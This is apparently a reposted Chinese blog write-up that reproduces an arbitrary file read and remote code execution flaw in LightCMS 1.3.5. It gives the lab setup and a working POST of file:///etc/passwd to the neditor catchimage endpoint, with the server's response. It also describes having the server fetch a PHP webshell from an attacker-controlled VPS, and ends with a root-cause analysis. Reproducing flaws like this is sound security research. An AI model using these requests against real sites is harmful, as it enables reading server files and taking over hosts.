LightCMS1.3.5-任意檔案讀取&RCE漏洞
- 環境搭建(Kali)
- 漏洞復現
- 利用點一
- 利用點二
- 漏洞分析
環境搭建(Kali)
個人環境配置:php7.4.15 + mysql8.0.25
- 首先確保系統已安裝好composer,可以參考我之前寫的文章:文章鏈接
- 下載檔案原始碼
cd /var/www/html
git clone https://hub.fastgit.org/eddy8/LightCMS.git
cd lightCMS
composer install
- 設定目錄權限:storage/和bootstrap/cache/目錄需要寫入權限,
sudo chmod 777 -R storage/ bootstrap/cache/
- 新建一份環境配置,并配置好資料庫等相關配置
cp .env.example .env
資料庫配置:
CREATE DATABASE homestead;
CREATE USER 'homestead'@'localhost' IDENTIFIED BY 'secret';
GRANT ALL PRIVILEGES ON *.* TO 'homestead'@'localhost';
FLUSH PRIVILEGES;
初始化系統
php artisan migrate --seed
PS:這里可能會遇到一些問題,我備注一下自己遇到的問題及其解決方案
1、安裝組件時如果無法生成vendor目錄可以運行composer install --ignore-platform-reqs命令
2、啟動服務時Illuminate\Database\QueryException報錯可能是因為沒有安裝php-mysql依賴
step1:php -v
step2: Install php mysql extension
php 7.x sudo apt-get install php7.x-mysql
step3: service apache2 restart
step4: php artisan migrate
- 后臺訪問地址:/admin/login
默認用戶(此用戶為超級用戶,不受權限管理限制):admin/admin
這里可能會遇到圖形驗證碼無法顯示,終端輸入:apt-get install php7.x-gd

漏洞復現
利用點一
使用admin/admin登錄管理員
訪問http://ip/admin/neditor/serve/catchimage,POST傳file=file:///etc/passwd,此時會回傳
{"list":[{"url":"http://light.com/upload/image/202106/0f1726ba83325848d47e216b29d5ab99.jpg","source":"file:///etc/passwd","state":"SUCCESS"}]}

根據回傳值,直接訪問鏈接地址即可
利用點二
直接傳php檔案RCE,構造一個php腳本放置vps下,訪問讀取該檔案


漏洞分析
這個漏洞出在
app/Http/Controllers/Admin/NEditorController.php中的遠程下載圖片的功能

這里簡單使用了
file_get_contents來獲取并保存檔案內容,所以我們可以使用file協議實作任意檔案讀取等ssrf操作,更危險的是這里的邏輯是取到的檔案名后綴是什么,保存的就是什么后綴,所以我們可以放一個php一句話在服務器上,然后來請求該一句話檔案來達到getshell的目的
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/286864.html
標籤:其他
